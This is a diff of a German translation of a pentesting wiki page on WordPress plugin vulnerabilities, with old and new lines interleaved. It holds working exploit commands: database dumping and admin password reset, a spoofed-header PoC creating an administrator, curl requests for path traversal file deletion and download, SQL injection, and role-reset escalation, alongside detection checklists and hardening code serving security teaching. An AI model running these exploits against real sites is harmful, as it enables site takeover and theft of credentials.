- _**(Custom) Custom Exploits:**_ Eigene Exploits für Drittanbieter-WordPress-Plugins/Themes.
|
||||
|
||||
## Nach der Ausnutzung
|
||||
## Post Exploitation
|
||||
|
||||
Benutzernamen und Passwörter extrahieren:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Ändern Sie das Admin-Passwort:
|
||||
Admin-Passwort ändern:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
@ -333,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Angriffsfläche
|
||||
|
||||
Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Aufzählungspunkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Zu wissen, wie ein Wordpress-Plugin Funktionalität offenlegen kann, ist entscheidend, um Schwachstellen in dessen Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen könnte, finden Sie in den folgenden Aufzählungspunkten sowie einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
|
||||
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder authentifizierte Benutzer in der Wordpress-Instanz haben könnte** (unabhängig von seiner Rolle).
|
||||
|
||||
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
|
||||
Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).**
|
||||
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (sogar für nicht authentifizierte Benutzer).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten Benutzer mit niedrigen Berechtigungen Zugriff auf hochprivilegierte Aktionen haben.
|
||||
> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten wenig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Es ist auch möglich, Funktionen von WordPress zu exponieren, indem man eine REST-API mit der Funktion `register_rest_route` registriert:
|
||||
Es ist auch möglich, Funktionen aus wordpress offenzulegen, indem man eine rest AP mit der Funktion `register_rest_route` registriert:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Der `permission_callback` ist eine Rückruffunktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
|
||||
Der `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
|
||||
|
||||
**Wenn die eingebaute `__return_true`-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**
|
||||
**Wenn die eingebaute Funktion `__return_true` verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**
|
||||
|
||||
- **Direkter Zugriff auf die PHP-Datei**
|
||||
|
||||
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar.
|
||||
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die bereits durch den bloßen Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
|
||||
|
||||
### Unauthentifizierte willkürliche Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress-Themes und -Plugins legen häufig AJAX-Handler über die `wp_ajax_` und `wp_ajax_nopriv_` Hooks offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Rückruf für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss:
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
|
||||
1. Eine **Berechtigungsüberprüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
|
||||
2. Ein **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
|
||||
3. **Strenge Eingabesäuberung / Validierung**.
|
||||
- Auswirkung: Nicht authentifizierte Privilegieneskalation zum Administrator durch das Erstellen eines neuen Administrators über die core users REST route.
|
||||
- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
|
||||
- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem elevated role array.
|
||||
|
||||
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family*-Funktion vergessen und endete mit folgendem Code (vereinfacht):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Warum es funktioniert
|
||||
|
||||
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen.
|
||||
- WordPress core erwartet die Capability `create_users` für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
|
||||
|
||||
Erwartete Erfolgsindikatoren
|
||||
|
||||
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
|
||||
- Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`.
|
||||
|
||||
Checkliste zur Erkennung
|
||||
|
||||
- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']` oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Headern basieren.
|
||||
- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) in REST-Handlern, die nur durch Header-Werte abgesichert sind.
|
||||
|
||||
Härtung
|
||||
|
||||
- Leite niemals Authentifizierung oder Autorisierung aus vom Client kontrollierten Headern ab.
|
||||
- Wenn ein Reverse Proxy Identität injizieren muss, beende das Vertrauen beim Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` am Edge), übergib dann ein signiertes Token und verifiziere es serverseitig.
|
||||
- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und ein striktes `permission_callback` (verwende NICHT `__return_true`).
|
||||
- Bevorzuge First-Party-Auth (Cookies, application passwords, OAuth) gegenüber Header-“Impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress-Themes und -Plugins stellen häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_` bereit. Wenn die **_nopriv_**-Variante verwendet wird, ist der Callback **für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich Folgendes implementieren:
|
||||
|
||||
1. Eine **capability-Prüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
|
||||
2. Einen **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
|
||||
3. **Strikte Eingabe-Sanitierung / Validierung**.
|
||||
|
||||
Das Litho-Multipurpose-Theme (< 3.1) hat diese drei Kontrollen in der *Remove Font Family*-Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -396,29 +443,29 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Probleme, die durch diesen Codeabschnitt entstehen:
|
||||
|
||||
* **Unauthenticated access** – der `wp_ajax_nopriv_` Hook ist registriert.
|
||||
* **No nonce / capability check** – jeder Besucher kann den Endpunkt aufrufen.
|
||||
* **No path sanitisation** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filterung an einen Dateisystempfad angehängt, was klassische `../../` Traversierung ermöglicht.
|
||||
* **Nicht authentifizierter Zugriff** – der `wp_ajax_nopriv_` Hook ist registriert.
|
||||
* **Keine Nonce-/Capability-Prüfung** – jeder Besucher kann den Endpoint aufrufen.
|
||||
* **Keine Pfad-Sanitierung** – die vom Benutzer kontrollierte `fontfamily`-Zeichenkette wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../` Traversal ermöglicht.
|
||||
|
||||
#### Exploitation
|
||||
#### Ausnutzung
|
||||
|
||||
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Stammverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) löschen, indem er eine einzige HTTP POST-Anfrage sendet:
|
||||
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Stammverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP-POST-Anfrage löschen:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Weil `wp-config.php` außerhalb von *uploads* liegt, sind vier `../`-Sequenzen bei einer Standardinstallation ausreichend. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten*, was eine vollständige Übernahme der Seite ermöglicht (der Angreifer gibt lediglich eine neue DB-Konfiguration ein und erstellt einen Admin-Benutzer).
|
||||
Weil `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Aufruf in den *Installationsassistenten* und ermöglicht eine vollständige Site-Übernahme (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
|
||||
|
||||
Weitere wichtige Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
|
||||
Weitere wirkungsvolle Ziele sind plugin-/theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
|
||||
|
||||
#### Erkennungs-Checkliste
|
||||
#### Checkliste zur Erkennung
|
||||
|
||||
* Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.).
|
||||
* Verkettung von unsaniertem Benutzereingaben in Pfade (suchen Sie nach `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Abwesenheit von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
|
||||
* Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft.
|
||||
* Verkettung unsanitierter Benutzereingaben in Pfade (suche nach `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Fehlende Verwendung von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Härtung
|
||||
```php
|
||||
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Behandeln** Sie jede Schreib-/Löschoperation auf der Festplatte immer als privilegiert und überprüfen Sie doppelt:
|
||||
> • Authentifizierung • Autorisierung • Nonce • Eingabesäuberung • Pfadbegrenzung (z. B. über `realpath()` plus `str_starts_with()`).
|
||||
> **Behandle jede** Schreib-/Löschoperation auf der Festplatte IMMER als privilegiert und überprüfe doppelt:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
|
||||
### Privilege escalation via veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
|
||||
|
||||
Viele Plugins implementieren eine "als Rolle anzeigen" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) in den Benutzermetadaten speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad nur auf Anfrageparametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste basiert, ohne die Berechtigungen und eine gültige Nonce zu überprüfen, wird dies zu einer vertikalen Privilegieneskalation.
|
||||
Viele Plugins implementieren ein "view as role"- oder temporäres Role-Switching-Feature, indem sie die ursprünglichen Role(s) in user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungspfad allein auf request parameters (z. B. `$_REQUEST['reset-for']`) und einer plugin-maintained list beruht, ohne capabilities und einen gültigen nonce zu prüfen, wird daraus eine vertical privilege escalation.
|
||||
|
||||
Ein Beispiel aus der Praxis wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<Benutzername>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Überprüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus den Benutzermetadaten `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden:
|
||||
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) gefunden. Der reset-Zweig stellte Rollen anhand von `reset-for=<username>` wieder her, falls der Username in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder einen `current_user_can()`-Check noch eine nonce-Verifikation durch, bevor die aktuellen Rollen entfernt und die aus user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -464,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Warum es ausnutzbar ist
|
||||
Why it’s exploitable
|
||||
|
||||
- Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
|
||||
- Wenn ein Benutzer zuvor höhere Berechtigungen in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese durch Aufrufen des Reset-Pfads wiederherstellen.
|
||||
- In einigen Implementierungen konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (gebrochene Autorisierung).
|
||||
- Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
|
||||
- In einigen Deployments könnte jeder authenticated user einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
|
||||
|
||||
Angriffsanforderungen
|
||||
Attack prerequisites
|
||||
|
||||
- Verwundbare Plugin-Version mit aktivierter Funktion.
|
||||
- Zielkonto hat eine veraltete hochprivilegierte Rolle, die aus früherer Nutzung im Benutzermeta gespeichert ist.
|
||||
- Jede authentifizierte Sitzung; fehlender Nonce/Fähigkeit im Reset-Flow.
|
||||
- Verwundbare Plugin-Version mit aktiviertem Feature.
|
||||
- Das Zielkonto hat eine veraltete, hochprivilegierte Rolle, die aus früherer Nutzung in user meta gespeichert ist.
|
||||
- Beliebige authenticated session; fehlender nonce/capability im Reset-Flow.
|
||||
|
||||
Ausnutzung (Beispiel)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -484,42 +531,57 @@ Ausnutzung (Beispiel)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Auf anfälligen Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder hinzu, was effektiv die Berechtigungen erhöht.
|
||||
Auf anfälligen Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder her, wodurch effektiv Privilegien eskaliert werden.
|
||||
|
||||
Erkennungscheckliste
|
||||
Checkliste zur Erkennung
|
||||
|
||||
- Suchen Sie nach Funktionen zum Rollenwechsel, die „ursprüngliche Rollen“ in den Benutzermetadaten speichern (z. B. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifizieren Sie Rücksetz-/Wiederherstellungspfade, die:
|
||||
- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen.
|
||||
- Rollen über `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` ändern.
|
||||
- Basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) autorisieren, anstatt auf den Fähigkeiten des Akteurs.
|
||||
- Suchen Sie nach Funktionen zum Rollenwechsel, die die “original roles” im Benutzer-Meta dauerhaft speichern (z. B. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifizieren Sie Reset-/Wiederherstellungspfade, die:
|
||||
- Lesen Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Ändern Rollen mittels `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisieren basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) statt auf den Fähigkeiten des Akteurs.
|
||||
|
||||
Härtung
|
||||
|
||||
- Erzwingen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig (z. B. `current_user_can('manage_options')` oder strenger).
|
||||
- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und überprüfen Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrauen Sie niemals auf von Anfragen bereitgestellte Benutzernamen; ermitteln Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
|
||||
- Ungültig machen Sie den Zustand „ursprüngliche Rollen“ bei Profil-/Rollenaktualisierungen, um eine veraltete Wiederherstellung von Hochprivilegien zu vermeiden:
|
||||
- Erzwingen Sie Prüfungen der Berechtigungen in jedem zustandsverändernden Zweig (z. B. `current_user_can('manage_options')` oder strenger).
|
||||
- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und verifizieren Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrauen Sie niemals auf im Request übergebene Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
|
||||
- Ungültig machen des Zustands der “original roles” bei Profil-/Rollen-Updates, um die Wiederherstellung veralteter hoher Privilegien zu vermeiden:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Erwägen Sie, minimalen Zustand zu speichern und zeitlich begrenzte, berechtigungsbewachte Tokens für temporäre Rollenwechsel zu verwenden.
|
||||
- Erwäge, nur minimalen Zustand zu speichern und zeitlich begrenzte, durch Capabilities geschützte Tokens für temporäre Rollenwechsel zu verwenden.
|
||||
|
||||
---
|
||||
|
||||
### WAF-Überlegungen für WordPress/plugin-CVEs
|
||||
|
||||
Generische Edge-/Server-WAFs sind auf breite Muster ausgerichtet (SQLi, XSS, LFI). Viele hochwirksame WordPress-/Plugin-Fehler sind anwendungsspezifische Logik- oder Authentifizierungsfehler, die wie harmloser Traffic aussehen, es sei denn, die Engine versteht WordPress-Routen und Plugin-Semantik.
|
||||
|
||||
Offensive Hinweise
|
||||
|
||||
- Ziele plugin-spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste zuerst unauthentifizierte Pfade (AJAX `nopriv`, REST mit permissiver `permission_callback`, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung.
|
||||
- Typische Fälle mit hoher Auswirkung: Privilegieneskalation (fehlende Zugriffskontrolle), beliebiges Hoch-/Herunterladen von Dateien, LFI, Open Redirect.
|
||||
|
||||
Defensive Hinweise
|
||||
|
||||
- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz vor Plugin-CVEs. Implementiere virtuelle Patches auf Anwendungsebene, die schwachstellenspezifisch sind, oder aktualisiere schnell.
|
||||
- Bevorzuge Positive-Sicherheitsprüfungen im Code (Capabilities, Nonces, strenge Eingabevalidierung) statt negativer Regex-Filter.
|
||||
|
||||
## WordPress-Schutz
|
||||
|
||||
### Regelmäßige Updates
|
||||
|
||||
Stellen Sie sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätigen Sie auch, dass die automatische Aktualisierung in wp-config.php aktiviert ist:
|
||||
Stelle sicher, dass WordPress, Plugins und Themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Auch, **installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
|
||||
Installiere außerdem nur **vertrauenswürdige WordPress-Plugins und -Themes**.
|
||||
|
||||
### Sicherheits-Plugins
|
||||
|
||||
@ -529,15 +591,16 @@ Auch, **installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
|
||||
|
||||
### **Weitere Empfehlungen**
|
||||
|
||||
- Entfernen Sie den standardmäßigen **Admin**-Benutzer
|
||||
- Verwenden Sie **starke Passwörter** und **2FA**
|
||||
- Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
|
||||
- **Begrenzen Sie die Anmeldeversuche**, um Brute-Force-Angriffe zu verhindern
|
||||
- Benennen Sie die **`wp-admin.php`**-Datei um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
|
||||
- Entferne den Standardbenutzer **admin**
|
||||
- Verwende **starke Passwörter** und **2FA**
|
||||
- **Überprüfe** regelmäßig die **Berechtigungen** der Benutzer
|
||||
- **Beschränke Anmeldeversuche**, um Brute Force attacks zu verhindern
|
||||
- Benenne die Datei **`wp-admin.php`** um und erlaube Zugriff nur intern oder von bestimmten IP-Adressen.
|
||||
|
||||
### Unauthentifizierte SQL-Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
|
||||
|
||||
Das WP Job Portal-Rekrutierungs-Plugin hat eine **savecategory**-Aufgabe offengelegt, die letztendlich den folgenden anfälligen Code innerhalb von `modules/category/model.php::validateFormData()` ausführt:
|
||||
### Nicht authentifizierte SQL-Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
|
||||
|
||||
Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe bereit, die letztlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -547,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Probleme, die durch dieses Snippet eingeführt werden:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` kommt direkt aus der HTTP-Anfrage.
|
||||
2. **Stringverkettung innerhalb der WHERE-Klausel** – kein `is_numeric()` / `esc_sql()` / vorbereitete Anweisung.
|
||||
3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet.
|
||||
2. **String concatenation inside the WHERE clause** – keine `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite, die den Shortcode `[wpjobportal_my_resumes]` einbettet, abrufen kann.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
1. Frischen nonce abrufen:
|
||||
1. Grab a fresh nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Arbiträres SQL injizieren, indem `parentid` missbraucht wird:
|
||||
2. Inject arbitrary SQL by abusing `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -567,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder ändert die Datenbank, was SQLi beweist.
|
||||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Eine andere Aufgabe, **downloadcustomfile**, erlaubte es Besuchern, **jede Datei auf der Festplatte** über Path Traversal herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, über path traversal **jede Datei auf der Festplatte** herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` ist vom Angreifer kontrolliert und wird **ohne Sanitisation** verkettet. Wiederum ist die einzige Barriere ein **CSRF-Nonce**, der von der Lebenslaufseite abgerufen werden kann.
|
||||
`$file_name` wird vom Angreifer kontrolliert und ohne **Bereinigung** verkettet. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der Resume-Seite abgerufen werden kann.
|
||||
|
||||
#### Ausnutzung
|
||||
```bash
|
||||
@ -589,7 +652,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
